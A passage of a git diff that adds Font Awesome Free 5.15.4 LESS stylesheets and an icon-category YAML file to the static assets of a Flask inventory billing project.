/dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/fontawesome.less @@ -0,0 +1,16 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import "_variables.less"; +@import "_mixins.less"; +@import "_core.less"; +@import "_larger.less"; +@import "_fixed-width.less"; +@import "_list.less"; +@import "_bordered-pulled.less"; +@import "_animated.less"; +@import "_rotated-flipped.less"; +@import "_stacked.less"; +@import "_icons.less"; +@import "_screen-reader.less"; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/regular.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/regular.less new file mode 100644 index 00000000..1eb6d520 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/regular.less @@ -0,0 +1,23 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import "_variables.less"; + +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 400; + font-display: @fa-font-display; + src: url('@{fa-font-path}/fa-regular-400.eot'); + src: url('@{fa-font-path}/fa-regular-400.eot?#iefix') format('embedded-opentype'), + url('@{fa-font-path}/fa-regular-400.woff2') format('woff2'), + url('@{fa-font-path}/fa-regular-400.woff') format('woff'), + url('@{fa-font-path}/fa-regular-400.ttf') format('truetype'), + url('@{fa-font-path}/fa-regular-400.svg#fontawesome') format('svg'); +} + +.far { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/solid.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/solid.less new file mode 100644 index 00000000..08bb28b1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/solid.less @@ -0,0 +1,24 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import "_variables.less"; + +@font-face { + font-family: 'Font Awesome 5 Free'; + font-style: normal; + font-weight: 900; + font-display: @fa-font-display; + src: url('@{fa-font-path}/fa-solid-900.eot'); + src: url('@{fa-font-path}/fa-solid-900.eot?#iefix') format('embedded-opentype'), + url('@{fa-font-path}/fa-solid-900.woff2') format('woff2'), + url('@{fa-font-path}/fa-solid-900.woff') format('woff'), + url('@{fa-font-path}/fa-solid-900.ttf') format('truetype'), + url('@{fa-font-path}/fa-solid-900.svg#fontawesome') format('svg'); +} + +.fa, +.fas { + font-family: 'Font Awesome 5 Free'; + font-weight: 900; +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/v4-shims.less b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/v4-shims.less new file mode 100644 index 00000000..a98427f5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/less/v4-shims.less @@ -0,0 +1,6 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@import '_variables.less'; +@import '_shims.less'; diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/categories.yml b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/categories.yml new file mode 100644 index 00000000..ca2d30de --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/categories.yml @@ -0,0 +1,2572 @@ +accessibility: + icons: + - accessible-icon + - american-sign-language-interpreting + - assistive-listening-systems + - audio-description + - blind + - braille + - closed-captioning + - deaf + - low-vision + - phone-volume + - question-circle + - sign-language + - tty + - universal-access + - wheelchair + label: Accessibility +alert: + icons: + - bell + - bell-slash + - exclamation + - exclamation-circle + - exclamation-triangle + - radiation + - radiation-alt + - skull-crossbones + label: Alert +animals: + icons: + - cat + - crow + - dog + - dove + - dragon + - feather + - feather-alt + - fish + - frog + - hippo + - horse + - horse-head + - kiwi-bird + - otter + - paw + - spider + label: Animals +arrows: + icons: + - angle-double-down + - angle-double-left + - angle-double-right + - angle-double-up + - angle-down + - angle-left + - angle-right + - angle-up + - arrow-alt-circle-down + - arrow-alt-circle-left + - arrow-alt-circle-right + - arrow-alt-circle-up + - arrow-circle-down + - arrow-circle-left + - arrow-circle-right + - arrow-circle-up + - arrow-down + - arrow-left + - arrow-right + - arrow-up + - arrows-alt + - arrows-alt-h + - arrows-alt-v + - caret-down + - caret-left + - caret-right + - caret-square-down + - caret-square-left + - caret-square-right + - caret-square-up + - caret-up + - cart-arrow-down + - chart-line + - chevron-circle-down + - chevron-circle-left + - chevron-circle-right + - chevron-circle-up + - chevron-down + - chevron-left + - chevron-right + - chevron-up + - cloud-download-alt + - cloud-upload-alt + - compress-alt + - compress-arrows-alt + - download + - exchange-alt + - expand-alt + - expand-arrows-alt + - external-link-alt + - external-link-square-alt + - hand-point-down + - hand-point-left + - hand-point-right + - hand-point-up + - hand-pointer + - history + - level-down-alt + - level-up-alt + - location-arrow + - long-arrow-alt-down + - long-arrow-alt-left + - long-arrow-alt-right + - long-arrow-alt-up + - mouse-pointer + - play + - random + - recycle + - redo + - redo-alt + - reply + - reply-all + - retweet + - share + - share-square + - sign-in-alt + - sign-out-alt + - sort + - sort-alpha-down + - sort-alpha-down-alt + - sort-alpha-up + - sort-alpha-up-alt + - sort-amount-down + - sort-amount-down-alt + - sort-amount-up + - sort-amount-up-alt + - sort-down + - sort-numeric-down + - sort-numeric-down-alt + - sort-numeric-up + - sort-numeric-up-alt + - sort-up + - sync + - sync-alt + - text-height + - text-width + - undo + - undo-alt + - upload + label: Arrows +audio-video: + icons: + - audio-description + - backward + - broadcast-tower + - circle + - closed-captioning + - compress + - compress-alt + - compress-arrows-alt + - eject + - expand + - expand-alt + - expand-arrows-alt + - fast-backward + - fast-forward + - file-audio + - file-video + - film + - forward + - headphones + - microphone + - microphone-alt + - microphone-alt-slash + - microphone-slash + - music + - pause + - pause-circle + - phone-volume + - photo-video + - play + - play-circle + - podcast + - random + - redo + - redo-alt + - rss + - rss-square + - step-backward + - step-forward + - stop + - stop-circle + - sync + - sync-alt + - tv + - undo + - undo-alt + - video + - volume-down + - volume-mute + - volume-off + - volume-up + - youtube + label: Audio & Video +automotive: + icons: + - air-freshener + - ambulance + - bus + - bus-alt + - car + - car-alt + - car-battery + - car-crash + - car-side + - caravan + - charging-station + - gas-pump + - motorcycle + - oil-can + - shuttle-van + - tachometer-alt + - taxi + - trailer + - truck + - truck-monster + - truck-pickup + label: Automotive +autumn: + icons: + - apple-alt + - campground + - cloud-sun + - drumstick-bite + - football-ball + - hiking + - mountain + - tractor + - tree + - wind + - wine-bottle + label: Autumn +beverage: + icons: + - beer + - blender + - cocktail + - coffee + - flask + - glass-cheers + - glass-martini + - glass-martini-alt + - glass-whiskey + - mug-hot + - wine-bottle + - wine-glass + - wine-glass-alt + label: Beverage +buildings: + icons: + - archway + - building + - campground + - church + - city + - clinic-medical + - dungeon + - gopuram + - home + - hospital + - hospital-alt + - hospital-user + - hotel + - house-damage + - igloo + - industry + - kaaba + - landmark + - monument + - mosque + - place-of-worship + - school + - store + - store-alt + - synagogue + - torii-gate + - university + - vihara + - warehouse + label: Buildings +business: + icons: + - address-book + - address-card + - archive + - balance-scale + - balance-scale-left + - balance-scale-right + - birthday-cake + - book + - briefcase + - building + - bullhorn + - bullseye + - business-time + - calculator + - calendar + - calendar-alt + - certificate + - chart-area + - chart-bar + - chart-line + - chart-pie + - city + - clipboard + - coffee + - columns + - compass + - copy + - copyright + - cut + - edit + - envelope + - envelope-open + - envelope-square + - eraser + - fax + - file + - file-alt + - folder + - folder-minus + - folder-open + - folder-plus + - glasses + - globe + - highlighter + - industry + - landmark + - laptop-house + - marker + - paperclip + - paste + - pen + - pen-alt + - pen-fancy + - pen-nib + - pen-square + - pencil-alt + - percent + - phone + - phone-alt + - phone-slash + - phone-square + - phone-square-alt + - phone-volume + - print + - project-diagram + - registered + - save + - sitemap + - socks + - sticky-note + - stream + - table + - tag + - tags + - tasks + - thumbtack + - trademark + - wallet + label: Business +camping: + icons: + - binoculars + - campground + - caravan + - compass + - faucet + - fire + - fire-alt + - first-aid + - frog + - hiking + - map + - map-marked + - map-marked-alt + - map-signs + - mountain + - route + - toilet-paper + - trailer + - tree + label: Camping +charity: + icons: + - dollar-sign + - donate + - dove + - gift + - globe + - hand-holding-heart + - hand-holding-usd + - hand-holding-water + - hands-helping + - handshake + - heart + - leaf + - parachute-box + - piggy-bank + - ribbon + - seedling + label: Charity +chat: + icons: + - comment + - comment-alt + - comment-dots + - comment-medical + - comment-slash + - comments + - frown + - icons + - meh + - phone + - phone-alt + - phone-slash + - poo + - quote-left + - quote-right + - smile + - sms + - video + - video-slash + label: Chat +chess: + icons: + - chess + - chess-bishop + - chess-board + - chess-king + - chess-knight + - chess-pawn + - chess-queen + - chess-rook + - square-full + label: Chess +childhood: + icons: + - apple-alt + - baby + - baby-carriage + - bath + - biking + - birthday-cake + - cookie + - cookie-bite + - gamepad + - ice-cream + - mitten + - robot + - school + - shapes + - snowman + label: Childhood +clothing: + icons: + - graduation-cap + - hat-cowboy + - hat-cowboy-side + - hat-wizard + - mitten + - shoe-prints + - socks + - tshirt + - user-tie + label: Clothing +code: + icons: + - archive + - barcode + - bath + - bug + - code + - code-branch + - coffee + - file + - file-alt + - file-code + - filter + - fire-extinguisher + - folder + - folder-open + - keyboard + - laptop-code + - microchip + - project-diagram + - qrcode + - shield-alt + - sitemap + - stream + - terminal + - user-secret + - window-close + - window-maximize + - window-minimize + - window-restore + label: Code +communication: + icons: + - address-book + - address-card + - american-sign-language-interpreting + - assistive-listening-systems + - at + - bell + - bell-slash + - bluetooth + - bluetooth-b + - broadcast-tower + - bullhorn + - chalkboard + - comment + - comment-alt + - comments + - envelope + - envelope-open + - envelope-square + - fax + - inbox + - language + - microphone + - microphone-alt + - microphone-alt-slash + - microphone-slash + - mobile + - mobile-alt + - paper-plane + - phone + - phone-alt + - phone-slash + - phone-square + - phone-square-alt + - phone-volume + - rss + - rss-square + - tty + - voicemail + - wifi + label: Communication +computers: + icons: + - compact-disc + - database + - desktop + - download + - ethernet + - hdd + - headphones + - keyboard + - laptop + - laptop-house + - memory + - microchip + - mobile + - mobile-alt + - mouse + - plug + - power-off + - print + - satellite + - satellite-dish + - save + - sd-card + - server + - sim-card + - stream + - tablet + - tablet-alt + - tv + - upload + label: Computers +construction: + icons: + - brush + - drafting-compass + - dumpster + - hammer + - hard-hat + - paint-roller + - pencil-alt + - pencil-ruler + - ruler + - ruler-combined + - ruler-horizontal + - ruler-vertical + - screwdriver + - toolbox + - tools + - truck-pickup + - wrench + label: Construction +currency: + icons: + - bitcoin + - btc + - dollar-sign + - ethereum + - euro-sign + - gg + - gg-circle + - hryvnia + - lira-sign + - money-bill + - money-bill-alt + - money-bill-wave + - money-bill-wave-alt + - money-check + - money-check-alt + - pound-sign + - ruble-sign + - rupee-sign + - shekel-sign + - tenge + - won-sign + - yen-sign + label: Currency +date-time: + icons: + - bell + - bell-slash + - calendar + - calendar-alt + - calendar-check + - calendar-minus + - calendar-plus + - calendar-times + - clock + - hourglass + - hourglass-end + - hourglass-half + - hourglass-start + - stopwatch + label: Date & Time +design: + icons: + - adjust + - bezier-curve + - brush + - clone + - copy + - crop + - crop-alt + - crosshairs + - cut + - drafting-compass + - draw-polygon + - edit + - eraser + - eye + - eye-dropper + - eye-slash + - fill + - fill-drip + - highlighter + - icons + - layer-group + - magic + - marker + - object-group + - object-ungroup + - paint-brush + - paint-roller + - palette + - paste + - pen + - pen-alt + - pen-fancy + - pen-nib + - pencil-alt + - pencil-ruler + - ruler-combined + - ruler-horizontal + - ruler-vertical + - save + - splotch + - spray-can + - stamp + - swatchbook + - tint + - tint-slash + - vector-square + label: Design +editors: + icons: + - align-center + - align-justify + - align-left + - align-right + - bold + - border-all + - border-none + - border-style + - clipboard + - clone + - columns + - copy + - cut + - edit + - eraser + - file + - file-alt + - font + - glasses + - heading + - highlighter + - i-cursor + - icons + - indent + - italic + - link + - list + - list-alt + - list-ol + - list-ul + - marker + - outdent + - paper-plane + - paperclip + - paragraph + - paste + - pen + - pen-alt + - pen-fancy + - pen-nib + - pencil-alt + - print + - quote-left + - quote-right + - redo + - redo-alt + - remove-format + - reply + - reply-all + - screwdriver + - share + - spell-check + - strikethrough + - subscript + - superscript + - sync + - sync-alt + - table + - tasks + - text-height + - text-width + - th + - th-large + - th-list + - tools + - trash + - trash-alt + - trash-restore + - trash-restore-alt + - underline + - undo + - undo-alt + - unlink + - wrench + label: Editors +education: + icons: + - apple-alt + - atom + - award + - bell + - bell-slash + - book-open + - book-reader + - chalkboard + - chalkboard-teacher + - graduation-cap + - laptop-code + - microscope + - music + - school + - shapes + - theater-masks + - user-graduate + label: Education +emoji: + icons: + - angry + - dizzy + - flushed + - frown + - frown-open + - grimace + - grin + - grin-alt + - grin-beam + - grin-beam-sweat + - grin-hearts + - grin-squint + - grin-squint-tears + - grin-stars + - grin-tears + - grin-tongue + - grin-tongue-squint + - grin-tongue-wink + - grin-wink + - kiss + - kiss-beam + - kiss-wink-heart + - laugh + - laugh-beam + - laugh-squint + - laugh-wink + - meh + - meh-blank + - meh-rolling-eyes + - sad-cry + - sad-tear + - smile + - smile-beam + - smile-wink + - surprise + - tired + label: Emoji +energy: + icons: + - atom + - battery-empty + - battery-full + - battery-half + - battery-quarter + - battery-three-quarters + - broadcast-tower + - burn + - charging-station + - fan + - fire + - fire-alt + - gas-pump + - industry + - leaf + - lightbulb + - plug + - poop + - power-off + - radiation + - radiation-alt + - seedling + - solar-panel + - sun + - water + - wind + label: Energy +files: + icons: + - archive + - clone + - copy + - cut + - file + - file-alt + - file-archive + - file-audio + - file-code + - file-excel + - file-image + - file-pdf + - file-powerpoint + - file-video + - file-word + - folder + - folder-open + - paste + - photo-video + - save + - sticky-note + label: Files +finance: + icons: + - balance-scale + - balance-scale-left + - balance-scale-right + - book + - cash-register + - chart-line + - chart-pie + - coins + - comment-dollar + - comments-dollar + - credit-card + - donate + - file-invoice + - file-invoice-dollar + - hand-holding-usd + - landmark + - money-bill + - money-bill-alt + - money-bill-wave + - money-bill-wave-alt + - money-check + - money-check-alt + - percentage + - piggy-bank + - receipt + - stamp + - wallet + label: Finance +fitness: + icons: + - bicycle + - biking + - burn + - fire-alt + - heart + - heartbeat + - hiking + - running + - shoe-prints + - skating + - skiing + - skiing-nordic + - snowboarding + - spa + - swimmer + - walking + label: Fitness +food: + icons: + - apple-alt + - bacon + - bone + - bread-slice + - candy-cane + - carrot + - cheese + - cloud-meatball + - cookie + - drumstick-bite + - egg + - fish + - hamburger + - hotdog + - ice-cream + - lemon + - pepper-hot + - pizza-slice + - seedling + - stroopwafel + label: Food +fruit-vegetable: + icons: + - apple-alt + - carrot + - leaf + - lemon + - pepper-hot + - seedling + label: Fruits & Vegetables +games: + icons: + - chess + - chess-bishop + - chess-board + - chess-king + - chess-knight + - chess-pawn + - chess-queen + - chess-rook + - dice + - dice-d20 + - dice-d6 + - dice-five + - dice-four + - dice-one + - dice-six + - dice-three + - dice-two + - gamepad + - ghost + - headset + - heart + - playstation + - puzzle-piece + - steam + - steam-square + - steam-symbol + - twitch + - xbox + label: Games +gaming-tabletop: + icons: + - acquisitions-incorporated + - book-dead + - critical-role + - d-and-d + - d-and-d-beyond + - dice-d20 + - dice-d6 + - dragon + - dungeon + - fantasy-flight-games + - fist-raised + - hat-wizard + - penny-arcade + - ring + - scroll + - skull-crossbones + - wizards-of-the-coast + label: Tabletop Gaming +gender: + icons: + - genderless + - mars + - mars-double + - mars-stroke + - mars-stroke-h + - mars-stroke-v + - mercury + - neuter + - transgender + - transgender-alt + - venus + - venus-double + - venus-mars + label: Genders +halloween: + icons: + - book-dead + - broom + - cat + - cloud-moon + - crow + - ghost + - hat-wizard + - mask + - skull-crossbones + - spider + - toilet-paper + label: Halloween +hands: + icons: + - allergies + - fist-raised + - hand-holding + - hand-holding-heart + - hand-holding-medical + - hand-holding-usd + - hand-holding-water + - hand-lizard + - hand-middle-finger + - hand-paper + - hand-peace + - hand-point-down + - hand-point-left + - hand-point-right + - hand-point-up + - hand-pointer + - hand-rock + - hand-scissors + - hand-sparkles + - hand-spock + - hands + - hands-helping + - hands-wash + - handshake + - handshake-alt-slash + - handshake-slash + - praying-hands + - thumbs-down + - thumbs-up + label: Hands +health: + icons: + - accessible-icon + - ambulance + - h-square + - heart + - heartbeat + - hospital + - medkit + - plus-square + - prescription + - stethoscope + - user-md + - wheelchair + label: Health +holiday: + icons: + - candy-cane + - carrot + - cookie-bite + - gift + - gifts + - glass-cheers + - holly-berry + - mug-hot + - sleigh + - snowman + label: Holiday +hotel: + icons: + - baby-carriage + - bath + - bed + - briefcase + - car + - cocktail + - coffee + - concierge-bell + - dice + - dice-five + - door-closed + - door-open + - dumbbell + - glass-martini + - glass-martini-alt + - hot-tub + - hotel + - infinity + - key + - luggage-cart + - shower + - shuttle-van + - smoking + - smoking-ban + - snowflake + - spa + - suitcase + - suitcase-rolling + - swimmer + - swimming-pool + - tv + - umbrella-beach + - utensils + - wheelchair + - wifi + label: Hotel +household: + icons: + - bath + - bed + - bell + - blender + - box-tissue + - chair + - coffee + - couch + - door-closed + - door-open + - dungeon + - fan + - faucet + - house-user + - laptop-house + - lightbulb + - plug + - pump-soap + - shower + - sink + - snowflake + - soap + - toilet-paper + - toilet-paper-slash + - tv + label: Household +images: + icons: + - adjust + - bolt + - camera + - camera-retro + - chalkboard + - clone + - compress + - compress-arrows-alt + - expand + - eye + - eye-dropper + - eye-slash + - file-image + - film + - id-badge + - id-card + - image + - images + - photo-video + - portrait + - sliders-h + - tint + - unsplash + label: Images +interfaces: + icons: + - award + - ban + - barcode + - bars + - beer + - bell + - bell-slash + - blog + - bug + - bullhorn + - bullseye + - calculator + - calendar + - calendar-alt + - calendar-check + - calendar-minus + - calendar-plus + - calendar-times + - certificate + - check + - check-circle + - check-double + - check-square + - circle + - clipboard + - clone + - cloud + - cloud-download-alt + - cloud-upload-alt + - coffee + - cog + - cogs + - copy + - cut + - database + - dot-circle + - download + - edit + - ellipsis-h + - ellipsis-v + - envelope + - envelope-open + - eraser + - exclamation + - exclamation-circle + - exclamation-triangle + - external-link-alt + - external-link-square-alt + - eye + - eye-slash + - file + - file-alt + - file-download + - file-export + - file-import + - file-upload + - filter + - fingerprint + - flag + - flag-checkered + - folder + - folder-open + - frown + - glasses + - grip-horizontal + - grip-lines + - grip-lines-vertical + - grip-vertical + - hashtag + - heart + - history + - home + - i-cursor + - info + - info-circle + - language + - magic + - marker + - medal + - meh + - microphone + - microphone-alt + - microphone-slash + - minus + - minus-circle + - minus-square + - paste + - pen + - pen-alt + - pen-fancy + - pencil-alt + - plus + - plus-circle + - plus-square + - poo + - qrcode + - question + - question-circle + - quote-left + - quote-right + - redo + - redo-alt + - reply + - reply-all + - rss + - rss-square + - save + - screwdriver + - search + - search-minus + - search-plus + - share + - share-alt + - share-alt-square + - share-square + - shield-alt + - sign-in-alt + - sign-out-alt + - signal + - sitemap + - sliders-h + - smile + - sort + - sort-alpha-down + - sort-alpha-down-alt + - sort-alpha-up + - sort-alpha-up-alt + - sort-amount-down + - sort-amount-down-alt + - sort-amount-up + - sort-amount-up-alt + - sort-down + - sort-numeric-down + - sort-numeric-down-alt + - sort-numeric-up + - sort-numeric-up-alt + - sort-up + - star + - star-half + - sync + - sync-alt + - thumbs-down + - thumbs-up + - times + - times-circle + - toggle-off + - toggle-on + - tools + - trash + - trash-alt + - trash-restore + - trash-restore-alt + - trophy + - undo + - undo-alt + - upload + - user + - user-alt + - user-circle + - volume-down + - volume-mute + - volume-off + - volume-up + - wifi + - wrench + label: Interfaces +logistics: + icons: + - box + - boxes + - clipboard-check + - clipboard-list + - dolly + - dolly-flatbed + - hard-hat + - pallet + - shipping-fast + - truck + - warehouse + label: Logistics +maps: + icons: + - ambulance + - anchor + - balance-scale + - balance-scale-left + - balance-scale-right + - bath + - bed + - beer + - bell + - bell-slash + - bicycle + - binoculars + - birthday-cake + - blind + - bomb + - book + - bookmark + - briefcase + - building + - car + - coffee + - crosshairs + - directions + - dollar-sign + - draw-polygon + - eye + - eye-slash + - fighter-jet + - fire + - fire-alt + - fire-extinguisher + - flag + - flag-checkered + - flask + - gamepad + - gavel + - gift + - glass-martini + - globe + - graduation-cap + - h-square + - heart + - heartbeat + - helicopter + - home + - hospital + - image + - images + - industry + - info + - info-circle + - key + - landmark + - layer-group + - leaf + - lemon + - life-ring + - lightbulb + - location-arrow + - low-vision + - magnet + - male + - map + - map-marker + - map-marker-alt + - map-pin + - map-signs + - medkit + - money-bill + - money-bill-alt + - motorcycle + - music + - newspaper + - parking + - paw + - phone + - phone-alt + - phone-square + - phone-square-alt + - phone-volume + - plane + - plug + - plus + - plus-square + - print + - recycle + - restroom + - road + - rocket + - route + - search + - search-minus + - search-plus + - ship + - shoe-prints + - shopping-bag + - shopping-basket + - shopping-cart + - shower + - snowplow + - street-view + - subway + - suitcase + - tag + - tags + - taxi + - thumbtack + - ticket-alt + - tint + - traffic-light + - train + - tram + - tree + - trophy + - truck + - tty + - umbrella + - university + - utensil-spoon + - utensils + - vest + - vest-patches + - wheelchair + - wifi + - wine-glass + - wrench + label: Maps +maritime: + icons: + - anchor + - binoculars + - compass + - dharmachakra + - frog + - ship + - skull-crossbones + - swimmer + - water + - wind + label: Maritime +marketing: + icons: + - ad + - bullhorn + - bullseye + - comment-dollar + - comments-dollar + - envelope-open-text + - funnel-dollar + - lightbulb + - mail-bulk + - poll + - poll-h + - search-dollar + - search-location + label: Marketing +mathematics: + icons: + - calculator + - divide + - equals + - greater-than + - greater-than-equal + - infinity + - less-than + - less-than-equal + - minus + - not-equal + - percentage + - plus + - square-root-alt + - subscript + - superscript + - times + - wave-square + label: Mathematics +medical: + icons: + - allergies + - ambulance + - bacteria + - bacterium + - band-aid + - biohazard + - bone + - bong + - book-medical + - brain + - briefcase-medical + - burn + - cannabis + - capsules + - clinic-medical + - comment-medical + - crutch + - diagnoses + - disease + - dna + - file-medical + - file-medical-alt + - file-prescription + - first-aid + - hand-holding-medical + - head-side-cough + - head-side-cough-slash + - head-side-mask + - head-side-virus + - heart + - heartbeat + - hospital + - hospital-alt + - hospital-symbol + - hospital-user + - id-card-alt + - joint + - laptop-medical + - lungs + - lungs-virus + - microscope + - mortar-pestle + - notes-medical + - pager + - pills + - plus + - poop + - prescription + - prescription-bottle + - prescription-bottle-alt + - procedures + - pump-medical + - radiation + - radiation-alt + - shield-virus + - smoking + - smoking-ban + - star-of-life + - stethoscope + - syringe + - tablets + - teeth + - teeth-open + - thermometer + - tooth + - user-md + - user-nurse + - vial + - vials + - virus + - virus-slash + - viruses + - weight + - x-ray + label: Medical +moving: + icons: + - archive + - box-open + - caravan + - couch + - dolly + - people-carry + - route + - sign + - suitcase + - tape + - trailer + - truck-loading + - truck-moving + - wine-glass + label: Moving +music: + icons: + - compact-disc + - drum + - drum-steelpan + - file-audio + - guitar + - headphones + - headphones-alt + - microphone + - microphone-alt + - microphone-alt-slash + - microphone-slash + - music + - napster + - play + - record-vinyl + - sliders-h + - soundcloud + - spotify + - volume-down + - volume-mute + - volume-off + - volume-up + label: Music +objects: + icons: + - ambulance + - anchor + - archive + - award + - baby-carriage + - balance-scale + - balance-scale-left + - balance-scale-right + - bath + - bed + - beer + - bell + - bicycle + - binoculars + - birthday-cake + - blender + - bomb + - book + - book-dead + - bookmark + - briefcase + - broadcast-tower + - bug + - building + - bullhorn + - bullseye + - bus + - calculator + - calendar + - calendar-alt + - camera + - camera-retro + - candy-cane + - car + - carrot + - church + - clipboard + - cloud + - coffee + - cog + - cogs + - compass + - cookie + - cookie-bite + - copy + - cube + - cubes + - cut + - dice + - dice-d20 + - dice-d6 + - dice-five + - dice-four + - dice-one + - dice-six + - dice-three + - dice-two + - digital-tachograph + - door-closed + - door-open + - drum + - drum-steelpan + - envelope + - envelope-open + - eraser + - eye + - eye-dropper + - fax + - feather + - feather-alt + - fighter-jet + - file + - file-alt + - file-prescription + - film + - fire + - fire-alt + - fire-extinguisher + - flag + - flag-checkered + - flask + - futbol + - gamepad + - gavel + - gem + - gift + - gifts + - glass-cheers + - glass-martini + - glass-whiskey + - glasses + - globe + - graduation-cap + - guitar + - hat-wizard + - hdd + - headphones + - headphones-alt + - headset + - heart + - heart-broken + - helicopter + - highlighter + - holly-berry + - home + - hospital + - hourglass + - igloo + - image + - images + - industry + - key + - keyboard + - laptop + - leaf + - lemon + - life-ring + - lightbulb + - lock + - lock-open + - magic + - magnet + - map + - map-marker + - map-marker-alt + - map-pin + - map-signs + - marker + - medal + - medkit + - memory + - microchip + - microphone + - microphone-alt + - mitten + - mobile + - mobile-alt + - money-bill + - money-bill-alt + - money-check + - money-check-alt + - moon + - motorcycle + - mug-hot + - newspaper + - paint-brush + - paper-plane + - paperclip + - paste + - paw + - pen + - pen-alt + - pen-fancy + - pen-nib + - pencil-alt + - phone + - phone-alt + - plane + - plug + - print + - puzzle-piece + - ring + - road + - rocket + - ruler-combined + - ruler-horizontal + - ruler-vertical + - satellite + - satellite-dish + - save + - school + - screwdriver + - scroll + - sd-card + - search + - shield-alt + - shopping-bag + - shopping-basket + - shopping-cart + - shower + - sim-card + - skull-crossbones + - sleigh + - snowflake + - snowplow + - space-shuttle + - star + - sticky-note + - stopwatch + - stroopwafel + - subway + - suitcase + - sun + - tablet + - tablet-alt + - tachometer-alt + - tag + - tags + - taxi + - thumbtack + - ticket-alt + - toilet + - toolbox + - tools + - train + - tram + - trash + - trash-alt + - tree + - trophy + - truck + - tv + - umbrella + - university + - unlock + - unlock-alt + - utensil-spoon + - utensils + - wallet + - weight + - wheelchair + - wine-glass + - wrench + label: Objects +payments-shopping: + icons: + - alipay + - amazon-pay + - apple-pay + - bell + - bitcoin + - bookmark + - btc + - bullhorn + - camera + - camera-retro + - cart-arrow-down + - cart-plus + - cc-amazon-pay + - cc-amex + - cc-apple-pay + - cc-diners-club + - cc-discover + - cc-jcb + - cc-mastercard + - cc-paypal + - cc-stripe + - cc-visa + - certificate + - credit-card + - ethereum + - gem + - gift + - google-pay + - google-wallet + - handshake + - heart + - key + - money-check + - money-check-alt + - paypal + - receipt + - shopping-bag + - shopping-basket + - shopping-cart + - star + - stripe + - stripe-s + - tag + - tags + - thumbs-down + - thumbs-up + - trophy + label: Payments & Shopping +pharmacy: + icons: + - band-aid + - book-medical + - cannabis + - capsules + - clinic-medical + - disease + - eye-dropper + - file-medical + - file-prescription + - first-aid + - flask + - history + - joint + - laptop-medical + - mortar-pestle + - notes-medical + - pills + - prescription + - prescription-bottle + - prescription-bottle-alt + - receipt + - skull-crossbones + - syringe + - tablets + - thermometer + - vial + - vials + label: Pharmacy +political: + icons: + - award + - balance-scale + - balance-scale-left + - balance-scale-right + - bullhorn + - check-double + - democrat + - donate + - dove + - fist-raised + - flag-usa + - handshake + - person-booth + - piggy-bank + - republican + - vote-yea + label: Political +religion: + icons: + - ankh + - atom + - bahai + - bible + - church + - cross + - dharmachakra + - dove + - gopuram + - hamsa + - hanukiah + - jedi + - journal-whills + - kaaba + - khanda + - menorah + - mosque + - om + - pastafarianism + - peace + - place-of-worship + - pray + - praying-hands + - quran + - star-and-crescent + - star-of-david + - synagogue + - torah + - torii-gate + - vihara + - yin-yang + label: Religion +science: + icons: + - atom + - biohazard + - brain + - burn + - capsules + - clipboard-check + - disease + - dna + - eye-dropper + - filter + - fire + - fire-alt + - flask + - frog + - magnet + - microscope + - mortar-pestle + - pills + - prescription-bottle + - radiation + - radiation-alt + - seedling + - skull-crossbones + - syringe + - tablets + - temperature-high + - temperature-low + - vial + - vials + label: Science +science-fiction: + icons: + - atom + - galactic-republic + - galactic-senate + - globe + - hand-spock + - jedi + - jedi-order + - journal-whills + - meteor + - moon + - old-republic + - robot + - rocket + - satellite + - satellite-dish + - space-shuttle + - user-astronaut + label: Science Fiction +security: + icons: + - ban + - bug + - door-closed + - door-open + - dungeon + - eye + - eye-slash + - file-contract + - file-signature + - fingerprint + - id-badge + - id-card + - id-card-alt + - key + - lock + - lock-open + - mask + - passport + - shield-alt + - unlock + - unlock-alt + - user-lock + - user-secret + - user-shield + label: Security +shapes: + icons: + - bookmark + - calendar + - certificate + - circle + - cloud + - comment + - file + - folder + - heart + - heart-broken + - map-marker + - play + - shapes + - square + - star + label: Shapes +shopping: + icons: + - barcode + - cart-arrow-down + - cart-plus + - cash-register + - gift + - gifts + - person-booth + - receipt + - shipping-fast + - shopping-bag + - shopping-basket + - shopping-cart + - store + - store-alt + - store-alt-slash + - store-slash + - truck + - tshirt + label: Shopping +social: + icons: + - bell + - birthday-cake + - camera + - comment + - comment-alt + - envelope + - hashtag + - heart + - icons + - image + - images + - map-marker + - map-marker-alt + - photo-video + - poll + - poll-h + - retweet + - share + - share-alt + - share-square + - star + - thumbs-down + - thumbs-up + - thumbtack + - user + - user-circle + - user-friends + - user-plus + - users + - video + label: Social +spinners: + icons: + - asterisk + - atom + - bahai + - certificate + - circle-notch + - cog + - compact-disc + - compass + - crosshairs + - dharmachakra + - fan + - life-ring + - palette + - ring + - slash + - snowflake + - spinner + - stroopwafel + - sun + - sync + - sync-alt + - yin-yang + label: Spinners 